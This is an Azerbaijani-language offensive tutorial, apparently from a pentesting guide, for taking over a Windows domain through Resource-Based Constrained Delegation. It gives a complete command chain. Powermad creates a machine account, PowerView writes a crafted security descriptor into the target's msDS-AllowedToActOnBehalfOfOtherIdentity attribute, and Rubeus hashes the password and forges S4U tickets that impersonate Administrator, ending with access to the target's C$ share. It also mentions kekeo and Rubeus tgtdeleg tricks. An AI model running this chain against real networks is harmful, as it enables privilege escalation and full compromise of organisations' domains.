Əgər bizim domen hesabında GenericALL/GenericWrite səlahiyyətlərimiz varsa, biz ondan sui-istifadə edə və domenin istənilən istifadəçisini təqlid edə bilərik. Məsələn, biz Domen Administratorunu təqlid edə və tam giriş əldə edə bilərik.
İstifadə Edəcəyimiz Alətlər:
Explotation nümunəsi
Powermad PowerShell MachineAccountQuota və DNS istismar üçün bir alətdir. iPowermad'i yükləmək üçün istifadə edə bilərsiniz.
#Powermad'i daxil edin və ondan yeni MAŞIN HESABI yaratmaq üçün istifadə edin
. .\Powermad.ps1
New-MachineAccount -MachineAccount <MachineAccountName> -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose
#PowerView'u daxil edin və yeni yaradılmış maşın hesabımızın SID'i(Security Identifier) əldə edin
. .\PowerView.ps1
$ComputerSid = Get-DomainComputer <MachineAccountName> -Properties objectsid | Select -Expand objectsid
#Daha sonra SID'dən istifadə edərək,yeni yaradılmış maşın hesabı üçün ACE(Access Control Entry) qururuq:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
#Bundan sonra, PowerView'dən istifadə edərək, yenidən ələ keçirdiyimiz kompüter hesabının msDS-AllowedToActOnBehalfOfOtherIdentity sahəsində təhlükəsizlik deskriptorunu təyin etməliyik.
Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
#Bundan sonra Rubeus istifadə edərək yeni maşın hesabının parolunun RC4 hash-ini əldə etməliyik
Rubeus.exe hash /parol:'p@ssword!'
#Və bu misal üçün, biz Rubeus istifadə edərək hədəf kompüterin cifs xidmətində Domain Administratorunu təqlid edəcəyik.
Rubeus.exe s4u /user:<MachineAccountName> /rc4:<RC4HashOfMachineAccountPassword> /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt
#Nəhayət, hədəf maşının C$ sürücüsünə daxil ola bilərik
dir \\TargetMachine.wtver.domain\C$
Məhdudiyyətli (Constraint) və Resource-Based Constrained Delegation'da sui-istifadə etməyə çalışdığımız TRUSTED_TO_AUTH_FOR_DELEGATION hesabın parolu/heşi yoxdursa, biz kekeodan "tgt::deleg" və ya rubeusdan "tgtdeleg" istifadə edə bilərik. və Kerberos'u bizə bu hesab üçün etibarlı TGT vermək üçün aldada bilərik. Daha sonra hücumu həyata keçirmək üçün hesabın hash'i əvəzinə sadəcə biletdən istifadə edirik.